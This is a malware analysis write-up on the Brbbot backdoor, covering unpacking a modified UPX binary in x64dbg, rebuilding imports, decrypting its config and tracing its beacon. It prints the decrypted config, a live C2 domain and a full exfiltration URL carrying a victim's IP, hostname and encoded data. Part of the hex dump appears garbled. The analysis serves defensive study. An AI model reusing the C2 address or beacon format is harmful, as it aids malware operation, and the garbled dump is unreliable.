# Brbbot

G github.com/itaymigdal/malware-analysis-writeups/blob/main/Brbbot/Brbbot.md

itaymigdal

# itaymigdal/**malware**analysis-writeups



Some of my Malware Analysis writeups.

Malware Name	File Type	SHA256
Brbbot	x64 exe	F9227a44ea25a7ee8148e2d0532b14bb640f6dc52cb5b22a9f4fa7fa037417fa

## **Analysis process**

First thing first, I started Procmon in order to get an idea of the malware main activities:

Process Name	PID Operation	Path
brbbot.exe	808 🛃 WriteFile	C:\Users\IEUser\AppData\Roaming\brbbot.exe
brbbot.exe	808 🛃 WriteFile	C:\Users\IEUser\Desktop\brbconfig.tmp

Two interesting operations that were seen, were dropping a config file and self-copying to \AppData\Roaming\ path. Opening the file in Pestudio we see that the file is packed using UPX:

property	value	value	value
name	NPX0	UPX1	.rsrc
md5	n/a	1FD7E43F058CED9DC36862F	070CD68086C42D2D69E582
entropy	n/a	7.892	2.059
file-ratio (97.22%)	n/a	94.44 %	2.78 %
raw-address	0x00000400	0x00000400	0x00008C00
raw-size (35840 bytes)	0x00000000 (0 bytes)	0x00008800 (34816 bytes)	0x00000400 (1024 bytes)
virtual-address	0x000000040001000	0x000000040012000	0x00000004001B000
virtual-size (110592 bytes)	0x00011000 (69632 bytes)	0x00009000 (36864 bytes)	0x00001000 (4096 bytes)
entry-point	<ul> <li></li></ul>	0x0001A4A0	-
writable	x	x	x
executable	x	x	-

Trying to unpack it using UPX will throw an error:

🗵 Administrator	Windows Pow	erShell					
PS C:\Users\I	EUser\Deskto Ul	p> upx -d timate Pa Copyright	-o brbbot_u cker for eXe t (C) 1996 -	npacked.exe . cutables 2020	\brbbot.exe		
UPX 3.96w	Markus Ob	erhumer, I	Laszĺo Molna	r & John Reis	er Jan 23rd	1 2020	
File s	size	Ratio	Format	Name			
upx: .\brbbot.	exe: CantUn	packExcept	tion: file i	s possibly mo	 odified/hacked	d/protected;	take care!
Unpacked 0 fi	les.						

This suspicious error indicates that the malware packed using UPX but then modified in such a way that the tool would not be able to unpack it back again. If we pay attention closely to the image above, we can see that one section renamed to NPX0 (it should be UPX0). Therefore, there are two ways to unpack the malware:

- Modify the PE file on disk by renaming the section NPX0 → UPX0, then try to unpack using UPX tool again (at the end of this WriteUp)
- Unpack it in memory using a debugger.

It is Important to note that the first method suitable just for very specific cases, most malware would be packed with custom & unknown packers, therefore, unpacking them must occur in memory.

So, dropping the sample to x64dbg...

A known trick (suitable for packers that work like UPX) to find OEP (Original Entry Point) is to locate a jmp opcode followed by a bunch of NULL bytes, that jumps high and far to a distant location. This is the point where the code decrypted / decompressed / decoded itself in memory and now jumping to the real deal – OEP.

So found it and break on it:

	00007FF6497AA6DA 00007FF6497AA6DB 00007FF6497AA6DC 00007FF6497AA6E1 00007FF6497AA6E3 00007FF6497AA6E5	5E 58 48:8D4424 80 6A 00 48:39C4 ^ 75 F9	pop rsi pop rbx lea rax,qword ptr ss:[rsp-80] push 0 cmp rsp,rax ine brbbot.7FF6497AA6E1
•	00007FF6497AA6E8	48:83EC 80	sub rsp,FFFFFFFFFFFF80
RIP >•	00007FF6497AA6EC	A E9 A398FEFF	jmp brbbot.7FF649793F94
•	00007FF6497AA6F1	0000	add byte ptr ds:[rax],al
•	00007FF6497AA6F3	0000	add byte ptr ds:[rax],al
•	00007FF6497AA6F5	0000	add byte ptr ds:[rax],al
•	00007FF6497AA6F7	0000	add byte ptr ds:[rax],al
	00007FF6497AA6F9	0000	add byte ptr ds:[rax],al
	00007FF6497AA6FB	0000	add byte ptr ds:[rax],al
	00007FF6497AA6FD	0000	add byte ptr ds:[rax] al
	00007EE64974A701	0000	add byte ptr ds.[rax] al
, i i i i i i i i i i i i i i i i i i i	00007EE6497AA703	0000	add byte ptr ds:[rax],al
	00007FE6497AA705	0000	add byte ptr ds:[rax],a]
	00007FF6497AA707	0000	add byte ptr ds:[rax].a]
•	00007FF6497AA709	0000	add byte ptr ds:[rax].a]
•	00007FF6497AA70B	0000	add byte ptr ds:[rax],al
•	00007FF6497AA70D	0000	add byte ptr ds:[rax],al
•	00007FF6497AA70F	0000	add byte ptr ds:[rax],al
•	00007FF6497AA711	0000	add byte ptr ds:[rax],a]

Single-step and we landed at OEP:

	00007FF649793F92	CC	int3
	00007FF649793F93	CC	int3
	00007FF649793F94	48:83EC 28	sub rsp,28
	00007FF649793F98	E8 F7490000	call brbbot.7FF649798994
	00007FF649793F9D	48:83C4 28	add rsp,28
	00007FF649793FA1	E9 52FEFFFF	jmp brbbot.7FF649793DF8
	00007FF649793FA6	CC	int3
	00007FF649793FA7	CC	int3
	00007FF649793FA8	48:894C24 08	mov qword ptr ss:[rsp+8],rcx
1	00007FF649793FAD	48:81EC 88000000	sub rsp,88
1	00007FF649793FB4	48:8D0D 05F50000	<pre>lea rcx,qword ptr ds:[7FF6497A34C0]</pre>
1	00007FF649793FBB	FF15 57A20000	<pre>call qword ptr ds:[&lt;&amp;RtlCaptureContext&gt;]</pre>
1	00007FF649793FC1	48:8B05 F0F50000	mov rax, qword ptr_ds: [7FF6497A35B8]
1	00007FF649793FC8	48:894424 58	mov qword ptr ss:[rsp+58],rax
1	00007FF649793FCD	45:33C0	xor r8d,r8d
1	00007FF649793FD0	48:8D5424 60	lea rdx,qword ptr ss:[rsp+60]
1	00007FF649793FD5	48:8B4C24 58	mov rcx,qword ptr ss:[rsp+58]
1	00007FF649793FDA	E8 B3900000	<pre>call <jmp.&rtllookupfunctionentry></jmp.&rtllookupfunctionentry></pre>
1	00007FF649793FDF	48:894424 50	mov qword ptr ss:[rsp+50],rax
1	00007FF649793FE4	48:837C24 50 00	cmp_qword_ptr_ss:[rsp+50],0
1	00007FF649793FEA	✓ 74 41	je brbbot.7FF64979402D
1	00007FF649793FEC	48:C74424 38 0000000	(mov qword ptr ss:[rsp+38],0
1	00007FF649793FF5	48:8D4424 48	<pre>lea rax,qword ptr_ss:[rsp+48]</pre>
1	00007FF649793FFA	48:894424 30	mov qword ptr ss:[rsp+30],rax
1	00007FF649793FFF	48:8D4424 40	<pre>lea rax,qword ptr_ss:[rsp+40]</pre>
1	00007FF649794004	48:894424 28	mov qword ptr ss:[rsp+28],rax
1	00007FF649794009	48:8D05 B0F40000	lea rax,qword ptr_ds:[7FF6497A34C0]
1	00007FF649794010	48:894424 20	mov qword ptr ss:[rsp+20],rax
۱I.	0000755649794015	AC+984C24 E0	mov r9 aword atr cc. [reat0]

Now we are at the entry point of the real malware business, and all the imports should be resolved by the UPX loader in that point, so we use the built-in tool Scylla to rebuild the IAT and dump the unpacked malware to disk:

Scylla x64 v0.9.8 File Imports Trace	ce Misc Help		- 🗆 X
	A	Attach to an active process	
1176 - brbbot.exe	- C:\LIsers\IFLIser\Deskt	on/brbbot.exe	Y Pick DLL
1170 Dibboticke	er poero peore peore	op proboticite	
		Imports	
kernel32. winet.dl wininet.dl ws2_32.dl ws2_32.dl	(1) (86) FThunk: 0000E07 (1) FThunk: 0000E330 I (9) FThunk: 0000E340 II (5) FThunk: 0000E390 Show Suspect	8	Clear
	IAT Info	Actions	Dump
OEP 00007FF649	9793F94 IAT Aut	osearch Autotrace	Dump PE Rebuild
VA 00007FF649	979E000		
Size 000003B8	Get Ir	nports	Fix Dump
IAT Search Adv: F IAT Search Adv: P IAT Search Adv: I IAT Search Adv: I IAT Search Nor: I IAT parsing finishe DIRECT IMPORTS	ound 115 (0x73) possible ossible IAT first 00007FF AT VA 00007FF64979E00 AT VA 00007FF64979DFF ed, found 115 valid APIs, - Found 0 possible direct	Log : IAT entries. 64979E000 last 00007FF64979E3B0 0 RVA 00000000000E000 Size 0x03 8 RVA 00000000000DFF8 Size 0x03 missed 0 APIs imports with 0 unique APIs!	entry. 3B8 (952) 3C0 (960)
Imports: 115	🛷 Invalid: 0	Imagebase: 00007FF64979000	0 brbbot.exe

We can see now new suspicious libraries and imports that were not there on the packed file.

Observing the strings of the dumped file reveals some gems:

UPX1
<u>brbconfig.tmp</u>
exec
Software\Microsoft\Windows\CurrentVersion\Run
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)

- There is a malware config file named brbconfig.tmp (that we already saw under procmon).
- Autorun key for persistense
- User-agent that indicated on a http request

Looking at the resources:

type (1)	name	file-offset (1)	signature	non-standard	size (73 bytes)	ł
CONFIG	101	0x00017070	unknown	x	73	(

We can see a "CONFIG" resource, saving to disk:

2	C:\Users\IEUser\Desktop\config.dump - Notepad++														
File	Edit	Search	View	Encoding	Language	Settings	Tools	Macro R	un Plugi	ns Window	?				
8	96	i 🖻 📑	اء 🕞	) 🕹 🖻	<b>b</b>   2 c	i 🛗 🍾	👒 🤇	R   🖪 G	1 = 1	I 🐺 🐺 📓	) 🕗 E	a 👁   E		<b>&gt;</b>	
📄 co	nfig.d	ump 🔣													
1		æÃ 🖁 🖻 🖻	llf«þ	‡yBEEn E	₿ó ·D Ý*ú	0yVLu¢v	q}r`:6	SUBÚ STX	Žã'<Â6	àh <b>Dob</b> iü	SOHD-	, GSDC	2<^;Î-k	Àa <b>SYN</b> Fp	FF SYN'

eeergg! probably encrypted...

Sooo.. moving back again to debugging:

	00007FF6497942A9	897424 70	mov dword ptr ss: rsp+70, esi
•	00007FF6497942AD 00007FF6497942B1	48:8945 80	mov dword ptr sstrsp+74 ,edi mov dword ptr sstrbp-80 ,rax
•	00007FF6497942B5	FF15 459F0000	<pre>call qword ptr ds:[&lt;&amp;IsDebuggerPresent&gt;]</pre>
•	00007FF6497942BD	88F8	mov edi,eax
•	00007FF6497942BF	FF15 339F0000 48:8D4C24 48	<pre>call qword ptr ds:[&lt;&amp;SetUnhandledExceptionFilter&gt;] lea rcx gword ptr ss:[rsp+48]</pre>

There is a call to **IsDebuggerPresent**, not quite sure if this is an anti-debugging attempt (if it is, it's really poor one) or part of the compiler nonsense, so anyway we'll use ScyllaHide:

×

[ScyllaHide Options] Profile: VMProtect x86/x64 Profiles Loaded: VMProtect x86/x64 Create new profile...  $\sim$ Debugger Hiding -DRx Protection Misc  $\checkmark$ Hide from PEB NtGetContextThread Kill Anti-Attach  $\checkmark$  $\square$ - BeingDebugged NtSetContextThread  $\checkmark$ Special Hooks - HeapFlags NtContinue  $\checkmark$ - NtGlobalFlag KiUserExceptionDispatcher Prevent Thread creation  $\checkmark$ - StartupInfo RunPE Unpacker Timing Hooks -NtSetInformationThread  $\checkmark$ NtSetInformationProcess GetTickCount П NtQuerySystemInformation GetTickCount64 NtQueryInformationProcess 🗹 GetLocalTime NtQueryObject  $\checkmark$ GetSystemTime NtYieldExecution NtQuerySystemTime 11  $\Box$ NtCreateThreadEx NtQueryPerf.Counter OutputDebugStringA BlockInput DLL Injection NtUserFindWindowEx O Stealth Injection NtUserBuildHwndList NtUserQueryWindow Normal Injection NtSetDebugFilterState Unload after DLLMain  $\checkmark$ NtClose Remove Debug Privileges Copyright 2014 by Aguila / cypher OK Apply

Spraying some BP's on some interesting API calls:

🛄 CPU	Log	Notes	Breakpoints	Memory M	1ap (	🗍 Call Stack	🖻 SEH		Script	🐏 Symbols	s 🗘 Source	₽ References
туре	Address	Module/	/Label/Exception	State	Summar	У	Hit	Disa	ssembly	/		
Softwar												
	00007FF70654	brbbot_	_dump_scy.exe	Enable			0	cal1	qword	ptr ds:[<&	CreateFileA>]	
	00007FF70654	brbbot_	_dump_scy.exe	Enable			0	call	qword	ptr ds:[<&	CreateFileA>]	
	00007FF70654	brbbot_	_dump_scy.exe	Enable			0	call	qword	ptr ds:[<&	CreateFileA>]	
	00007FF70654	brbbot_	_dump_scy.exe	Enable			0	cal1	qword	ptr ds:[<&	CreateFileA>]	
	00007FF70654	brbbot_	_dump_scy.exe	Enable			0	cal1	qword	ptr ds:[<&	CreateProcess	A>]
	00007FF70654	brbbot_	_dump_scy.exe	Enable			0	call	qword	ptr ds:[<&	CreateProcess	A>]
	00007FF70654	brbbot_	_dump_scy.exe	Enable			0	call	qword	ptr ds:[<&	CryptDecrypt>	·]
	00007FF70654	brbbot_	_dump_scy.exe	Enable			0	call	qword	ptr ds:[<&	CryptEncrypt>	
	00007FF70654	brbbot_	_dump_scy.exe	Enable			0	call	qword	ptr ds:[<&	DeleteFileA>	
	00007FF70654	brbbot_	_dump_scy.exe	Enable			0	call	qword	ptr ds:[<&	DeleteFileA>	
	00007FF70654	propot_	_dump_scy.exe	Enable			0	call	qword	ptr ds:[<&	DeleterileA>	
	00007FF70654	propot_	_dump_scy.exe	Enable			0	call	qword	ptr ds:[<&	Finakesource	
	00007FF70654	propot_	_dump_scy.exe	Enable			0	call	qword	ptr ds:[<&	GetTempFileNa	mea> J
	00007FF70654	propot_	dump_scy.exe	Enable			0	call	dword	ptr ds: [ <d< th=""><th>GetTempPathAs</th><th></th></d<>	GetTempPathAs	
	00007FF70654	brobot_	dump_scy.exe	Enable			0	Call	dword	pur ds: L <d< th=""><th>Httpoperkeque</th><th>SLAP</th></d<>	Httpoperkeque	SLAP
	00007FF70654	brbbot_	dump_scy.exe	Enable				call	qword	ptr ds:[ <d< th=""><th>At the senakeque</th><th></th></d<>	At the senakeque	
	00007FF70654	brbbot_	dump_scy.exe	Enable				call	qword	ptr ds:[ <d< th=""><th>InternetConne</th><th>CLAP J</th></d<>	InternetConne	CLAP J
	00007FF70654	brbbot_	dump_scy.exe	Enable				Call	qword	ptr us. [Ka	InternetOuer	OptoAvoilables]
	00007FF70654	brbbot_	dump_scy.exe	Enable				Call	qword	ptr ds. [so	TcDebuggerBrg	conty]
	00007FF70654	brbbot_	dump_scy.exe	Enable				call	gword	ntr de la	TsDebugger Pre	cents
	000075570654	brbbot_	dump_scy.exe	Enable			l i i	ca11	gword	ntr ds [20	LoadResources	
	000075570654	brbbot_	dump_scy.exe	Enable			l a l	call	gword	ntr ds [28	MoveEileEvA>1	<b>1</b>
	00007FF70654	brbbot_	dump_scy.exe	Enable			ŏ	call	aword	ntr ds lee	MoveFileExA>	
	00007FF70654	brbbot_	dump_scy.exe	Enable			ŏ	call	aword	ntr ds lee	MoveFileExA>	
	00007EE70654	brbbot	dump_scy.exe	Enable			ŏ	call	aword	ntr ds: Lea	ReadFiles	
	00007EE70654	brbbot	dump_scy.exe	Enable			ŏ	call	aword	ntr ds: Lee	ReqDeleteValu	IEA>]
	00007FF70654	brbbot	dump scy.exe	Enable			ŏ	call	aword	ptr ds: [<&	RegSetValueEx	A>1
	00007FF70654	brbbot	dump scv.exe	Enable			ō	cal1	aword	ptr ds: <8	TerminateProc	ess>1
	00007FF70654	brbbot	dump scv.exe	Enable			ō	cal1	aword	ptr ds: <8	WriteFile>1	,
	00007FF70654	brbbot	dump_scv.exe	Enable			ō	cal1	aword	ptr ds: <8	WriteFile>1	
	00007FF70654	brbbot	dump_scv.exe	Enable			ō	cal1	aword	ptr ds: <8	WriteFile>1	
	00007FF70654	brbbot	dump_scv.exe	Enable			0	cal1	aword	ptr ds: [<&	WriteFile>1	
	00007FF70654	brbbot	dump_scy.exe	Enable			0	cal1	gword	ptr ds:[<&	WriteFile>	
	00007FF70654	brbbot	dump_scy.exe	Enable			0	cal1	gword	ptr ds:[<&	WriteFile>]	
	00007FF70654	brbbot	dump_scy.exe	Enable			0	cal1	gword	ptr ds:[<&	gethostname>]	
			-									

First BP we encountered is CryptDecrypt :



This API call is used to decrypt blob of encrypted data (in conjuction with some more API calls from the CryptXXXX family). Malware often use this call to decrypt a payload, a config, or a dropped file.

C++			
BOOL Cr	vptDe	ecrypt(	
[in]		HCRYPTKEY	hKey,
[in]		HCRYPTHASH	hHash,
[in]		BOOL	Final,
[in]		DWORD	dwFlags,
[in,	out]	BYTE	*pbData,
[in,	out]	DWORD	*pdwDataLen
);			

As we can learn from MSDN the fifth argument (the grey one in the stack view) points to the blob of the encrypted data (in the memory dump view).

So, single-stepping over that call should decrypt that blob:



Vwallaaa !! this is the clear config :)

Config content:

"uri=ads.php;exec=cexe;file=elif;conf=fnoc;exit=tixe;encode=5b;sleep=30000"

- uri the uri for the panel file on the c2
- exec, file, conf, exit maybe bot commands?!
- encode single byte key that will use us later on
- sleep sleep amount for some point

Keep debugging:

-	00007555640700505	15.0000		
•	00007FF649792FDF	45:3309	xor rea,rea	
	0000755649792552	49.0004	mov ndv n12	rdy:"heb 2dtute by" r12:"heb 2dtute by"
-	0000/11045/ 52162	40.0004	mov rux,riz	Tax. brb.bacacs.by , Tiz. brb.bacacs.by
•	00007FF649792FE5	48:8BCB	mov rcx.rbx	
	0000755640702559	C74424 28 0200	move dword oth sst nept281 2	
	0000777645752726	C/4424 20 0500	nov uworu per ss. rsp+28, s	
	00007FF649792FF0	4C:896C24 20	mov gword ptr ss: rsp+20, r13	
$\rightarrow$	00007EE649792EE5	EE15 6DB30000	call gword ptr ds:[<&InternetConnectA>]	
	000035555403035555	10.003001 30		
•	00007FF649792FFB	48:8B/C24 /0	mov rai, dword ptr ss: rsp+/0	
	00007EE649793000	48·887474 68	mov rsi dword ptr ss [rsp+68]	[rsp+68]:"brb_3dtuts_by"
-	0000/11043/33000	40100/424 00	mov rong dion a per bong bong	[rsproo]: brotsdedestby
•	00007FF649793005	48:8B6C24 60	mov rbp,qword ptr ss:[rsp+60]	
	0000755649792004	48.8500	test ray ray	
	0000/FF049/9500A	40.0300	cese ranjian	
0	00007EE64979300D	75 0B	ine brbbot, 7EE64979301A	
-				

Malware is trying to call home :)

The stack arguments for InternetConnectA :

by"

The MSDN for InternetConnectA :

C++	
void InternetCo	nnectA(
HINTERNET	hInternet,
LPCSTR	lpszServerName,
INTERNET_PORT	nServerPort,
LPCSTR	lpszUserName,
LPCSTR	lpszPassword,
DWORD	dwService,
DWORD	dwFlags,
DWORD_PTR	dwContext
);	

Second argument on the stack is our nice c2 address:

brb.3dtuts.by

#### The content that sent to the c2 was found nearby in memory using Process Hacker:

0xea0e00 (7668); http://brb.3dtuts.by/ads.php?
i=169.254.185.59&c=MSEDGEWIN10&p=123f373e600822282f3e3660093e3c32282f29226028362828753e233e603828292828753e233e602c32353235753e233e603828292828753e233e602c323537343c3435
753e233e60283e292d32383e28753e233e6037283a2828753e233e60282d383334282f753e233e603d34352f3f292d3334282f753e233e603d34352f3f292d3334282f753e233e60282d38334282f753e233e60282d38334282f753e233e60282d38334282f753e233e60282d38334282f753e233e60282d38452f3f292d3334282f753e233e6028d34352f3f292d3334282f753e233e6028d3834282f753e233e6028d343452f3f292d334282f753e233e6028d384352f3f292d334282f753e233e6028d3843452f3f292d33428f753e233e6028d384345f754e233e6028d3843e2f753e233e6028d34452f3f292d334282f753e233e6028d34452f3f292d334428f753e233e6028d384345f754e233e6028d384345f754e233e6028d384345f754e233e6028d384345f754e233e6028d384345f754e233e6028d384345f754e233e6028d384345f754e233e6028d384345f754e233e6028d384345f754e233e6028d3845f754e238e6028d3845f754e238e6028d3845f754e238e6028d3845f754e238e6028d3845f754e238e6028d3845f754e238e6028d3845f754e238e6028d3845f754e238e6028d3845f754e238e6028d3845f754e238e6028d3845f754e238e6038d3445f754e238e6028d3845f754e238e6028d8468666866668666686666666666666666666
3334282f753e233e60282d383334282f753e233e603f2c36753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d38334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d38334282f753e233e60282d38334282f753e233e60282d38334282f753e233e60282d38334282f753e233e60282d38334282f753e233e60282d38334282f753e233e60282d38334282f753e233e60282d38334282f753e233e60282d38334282f753e233e60282d38334282f753e233e60282d38334282f753e233e60282d38334282f753e233e60282d3833428f753e233e60282d3833428f753e233e60282d3833428f753e233e60282d3833428f753e233e60282d3833428f753e233e6028d3833428f753e233e6028d3833428f753e233e6028d3833428f753e233e6028d383428f753e233e6028d383428f753e233e6028d383428f753e233e6028d383428f753e233e6028d383448f753e233e6028d383448f753e233e6028d388f753e233e6028d383428f753e233e6028d386f753e233e6028d386f753e233e6028d386f753e2386028d386f753e233e6028d386f753e233e6028d386f753e233e6028d386f753e233e6028d386f753e233e6028d386f753e233e6028d386f753e233e6028d386f753e233e6028d386f753e233e6028d386f753e233e6028d386f753e233e6028d386f753e233e6028d386f753e23866028d386f753e23866028d386f753e23866028d386f753e2386f753e23866028d386f753e2386f758e2386f7566f786f786f786f786f786f786f786f786f786f7
e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e600d193423083e292d32383e753e233e60282d383334282f753e233e6028d38334282f753e233e6028d38334282f753e233e6028d3834828f753e23ae6028d3848486484848484848484848484848484848484
33e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60163e363429227b1834362b293e282832343560282d383334282f753e233e60282d383334282f753e233e60163e363429227b1834362b293e282832343560282d383334282f753e233e60282d383334282f753e233e60163e363429227b1834362b293e282832343560282d383334282f753e233e60282d38333428f753e233e60163e363429227b1834362b293e282832343560282d383334282f753e233e60282d3833428f753e233e60163e363429227b1834362b293e282832343560282d38333428f753e233e60163e363429227b1834362b293e28283243560282d38333428f753e233e60282d38333428f753e233e60163e363429227b1834362b293e283243560282d38333428f753e233e60282d38333428f753e233e60163e363429227b1834362b293e283243833428f753e233e60282d38333428f753e233e60163e36342927b1834362b293e82d3833428f753e233e60282d38333428f753e233e60163e3642927b1834362b293e82d3833428f753e233e602843833428f753e233e60163e3642927b1834362b293e283426f753e233e602843833428f753e233e60163e3642927b1834362b293e8602843883428f753e233e6028648648648666866686666666666666666666
282f753e233e60282d383334282f753e233e60282d38334282f753e233e60282d38334282f753e233e60282d38334282f753e233e60282d38334282f753e233e60282d3833428f753e233e6028d3833428f75ae233e6028d383428f75ae233e6028d383428f75ae233e6028d3833428f75ae233e6028d383428f75ae233e6028d3833428f75ae233e6028d3833428f75ae233e6028d3833428f75ae233e6028d3833428f75ae233e6028d3833428f75ae233e6028d3833428f75ae233e6028d3833428f75ae233e6028d3833428f75ae233e6028d3833428f75ae238e0f75ae233e6028d3833428f75ae238e0f75ae23
3e233e60282d383334282f753e233e60282d38334282f753e233e60282d38334282f753e233e60282d38334282f753e233e60282d38334282f753e233e60282d38334282f753e233e60282d38334282f753e233e60282d38334282f753e233e60282d38334282f753e233e60282d38334282f753e233e60282d38334282f753e233e60282d38334282f753e233e60282d38334282f753e233e60282d38334282f753e233e60282d38334282f753e233e60282d38334282f753e233e60282d38334282f753e233e60282d38334282f753e233e60282d38334282f753e233e60282d38334286f753e233e60284d846666666666666666666666666666666666
60282d383334282f753e233e60282d38334282f753e233e60282d38334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d38334282f753e233e60282d38334282f753e233e60282d38334282f753e233e60282d38334282f753e233e60282d38334282f753e233e60282d38334282f753e233e60282d38334282f753e233e60282d38334282f753e233e60282d38334282f753e233e60282d38334282f753e233e60282d38334282f753e233e60282d38334282f753e233e60282d38334282f753e233e60282d38334282f753e233e60282d38334282f753e233e60282d88334282f753e233e60284d8834282f753e23a6028428f7582478647864786478647864786478647867867867867867867867867867867867867867
3e233e60282d383334282f753e233e60282d388334282f753e233e60282d388334282f753e233e60282d38334282f753e233e60282d38834284f753e233e602842f753e233e60282d3884f758e233e602842f753e233e602844f758e238660284f758e238660284f758e238660284f758e238660284f758e238660284f758e2386602864f758e2386602864f758e2386602864f758e2386602864f758e2386602864f758e2386602864f758e2386602864f758e2386602864f758e2386602864f758e2386602864f758e2386602864f758e2386602864f758e2386602864f758e286f758e2386602864f758e28666086f766f7666f7666f7666f7666f7666f766
282d383334282f753e233e602f3a28303334282f2c753e233e60282d383334282f753e233e60382f3d363435753e233e60282d383334282f753e233e603e232b3734293e29753e233e60282d383334282f753e233e603e232b3734293e29753e233e60282d383334282f753e233e603e232b3734293e29753e233e60282d383334282f753e233e60382f3d363435753e233e60382f3d3644500000000000000000000000000000000000
333e37371e232b3e29323e35383e1334282f753e233e60282d383334282f753e233e60083e3a2938330e12753e233e60092e352f32363e192934303e29753e233e60092e352f32363e192934303e29753e233e60092e352f32363e192934303e29753e233e60092e352f32363e192934303e29753e233e60092e352f32363e192934303e29753e233e60092e352f32363e192934303e29753e233e60092e352f32363e192934303e29753e233e60092e352f32363e192934303e29753e233e60092e352f32363e192934303e29753e233e60092e352f32363e192934303e29753e233e60092e352f32363e192934303e29753e233e60092e352f32363e192934303e29753e233e60092e352f32363e192934303e29753e233e60092e352f32363e192934303e29753e233e60092e352f32363e192934303e29753e233e60092e352f32363e192934303e29753e233e60092e352f32363e192934303e29753e233e60092e352f32363e192934030e29753e233e60092e352f323640e100000000000000000000000000000000000
3334282f753e233e60083e3a29383312353f3e233e29753e233e601a2b2b3732383a2f3234351d293a363e1334282f753e233e60163238293428343d2f1e3f3c3e753e233e60282d383334282f753e233e603929342c283
e2904392934303e29753e233e60282d383334282f753e233e6002342e290b3334353e753e233e600830222b3e193a38303c29342e353f1334282f753e233e600c32353f342c28750c1a090b7511120f083e292d32383e7
53e233e600830222b3e1a2b2b753e233e60092e352f32363e192934303e29753e233e60163238293428343d2f1e3f3c3e180b753e233e60163238293428343d2f1e3f3c3e0813753e233e60173438301a2b2b753e233e60173438301a2b2b753e233e60163238293428343d2f1e3f3c3e180b753e233e601632382934284342f1e3f3c3e180b753e233e60173483042f1e3f3c3e180b753e233e601632382934284342f1e3f3c3e180b753e233e60173483042f1e3f3c3e180b753e233e6017348342f1e3f5c3e180b753e233e601632382934284342f1e3f3c3e180b753e233e601632382934284342f1e3f3c3e180b753e233e601632382934284342f1e3f3c3e180b753e233e601632382934284342f1e3f3c3e180b753e233e60163238293428b753e233e60173488342f1e3f5c3e180b753e233e60163288293428b753e233e60173488342f1e3f5c3e180b753e233e60163238293428b753e233e60163238e7348444646444646446464464646464646464646646
0092e352f32363e192934303e29753e233e60092e352f32363e192934303e29753e233e60282d383334282f753e233e60092e352f32363e192934303e29753e233e60092e352f32363e192934303e29753e233e60092e352f32363e192934303e29753e233e6028363
a292f2838293e3e35753e233e60083e382e29322f22133e3a372f330822282f293a22753e233e60083e382e29322f22133e3a372f33083e292d32383e753e233e600d1934230f293a22753e233e6014353e1f29322d3e75
3e233e600c3235082f34293e751a2b2b753e233e60092e352f32363e192934303e29753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60083c2936192934303e29753e
233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60c32353f342c2812352f3e29353a37751834362b34283a393
73e08333e3737751e232b3e29323e35383e28750f3e232f12352b2e2f7512352b2e2f1a2b2b753e233e603f37373334282f753e233e600822282f3e36083e2f2f32353c28192934303e29753e233e60282d383334282f753e233e600822282f3e36083e2f2f32353c28192934303e29753e233e60282d383334282f753e233e600822282f3e36083e2f2f32353c28192934303e29753e233e60282d383334282f753e233e600822282f3e36083e2f2f32353c28192934303e29753e233e60282d38334282f753e233e600822282f3e36083e2f2f32353c28192934303e29753e233e60282d38334282f753e233e600822282f3e36083e2f2f32353c28192934303e29753e233e60282d38334282f753e233e60082282f3e36083e2f2f32353c28192934303e29753e233e60282d3833428f753e233e60082282f3e36083e2f2f32353c28192934303e29753e233e6008228f3e360082282f3e360082284f3e360082284f3e360082284f3e360082284f3e360082284f754e2400000000000000000000000000000000000
e233e60282d383334282f753e233e60282d383334282f753e233e600832282f3e36083e2f2f32353c28753e233e60282d383334282f753e233e60282d583334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e600835322b2b32353c0f343437753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d383334282f753e233e60282d883334282f753e233e60282d883334282f753e233e60282d883334282f753e233e60282d883334282f753e233e60282d883334282f753e233e60282d883334282f753e233e60282d883334282f753e233e60282d883334282f753e233e60282d883334282f753e233e60282d883334282f753e233e60282d883334282f753e233e60284d884284284284284284484484484848484848
d383334282f753e233e6039293939342f753e233e60083e3a2938330b29342f343834371334282f753e233e60083e3a2938331d32372f3e291334282f753e233e60393a38303c29342e353f0f3a28301334282f753e233e6
0092e352f32363e192934303e29753e233e60282d383334282f753e233e600c36320b292d081e753e233e6038363f753e233e603834353334282f753e233e60292e3922753e233e

The malware exfiltrating the internal ip address, hostname and some encoded data.

Playing a little bit around with the encoded data and with the single byte key that retrieved before, brought me to write a <u>little python script</u> to Hexdump the decoded data (the receipt is: unhex the data --> xor with the single byte key):

